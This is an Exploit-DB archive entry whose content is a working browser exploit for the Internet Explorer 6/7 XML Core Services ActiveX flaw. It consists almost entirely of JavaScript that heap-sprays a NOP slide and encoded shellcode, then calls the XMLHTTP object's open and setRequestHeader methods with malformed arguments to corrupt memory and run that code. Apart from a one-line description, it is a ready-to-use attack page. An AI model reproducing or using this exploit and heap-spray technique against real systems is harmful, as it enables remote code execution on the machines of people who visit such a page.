Microsoft Internet Explorer 6/7 XML Core Services Remote Code Execution Exploit 2

2006-11-10T00:00:00
ID EDB-ID:2749
Type exploitdb
Reporter ~Fyodor
Modified 2006-11-10T00:00:00

Description

MS Internet Explorer 6/7 (XML Core Services) Remote Code Exec Exploit 2. Remote exploit for windows platform

                                        
                                            <html xmlns="http://www.w3.org/1999/xhtml">
<body>
<script>
	var heapSprayToAddress = 0x05050505;

	var payLoadCode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
</script>
<script>
	var heapBlockSize = 0x400000;

	var payLoadSize = payLoadCode.length * 2;

	var spraySlideSize = heapBlockSize - (payLoadSize+0x38);

	var spraySlide = unescape("%u9090%u9090");
	spraySlide = getSpraySlide(spraySlide,spraySlideSize);

	heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;

	memory = new Array();

	for (i=0;i<heapBlocks;i++)
	{
		memory[i] = spraySlide + payLoadCode;
	}



	function getSpraySlide(spraySlide, spraySlideSize)
	{
		while (spraySlide.length*2<spraySlideSize)
		{
			spraySlide += spraySlide;
		}
		spraySlide = spraySlide.substring(0,spraySlideSize/2);
		return spraySlide;
	}

</script>
<object id=target classid="CLSID:88d969c5-f192-11d4-a65f-0040963251e5" >
</object>
<script>
var obj = null;

obj = document.getElementById('target').object;

try {
obj.open(new Array(),new Array(),new Array(),new Array(),new Array());
} catch(e) {};

obj.open(new Object(),new Object(),new Object(),new Object(), new Object());    

obj.setRequestHeader(new Object(),'......');
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);

</script>


</body></html>

# milw0rm.com [2006-11-10]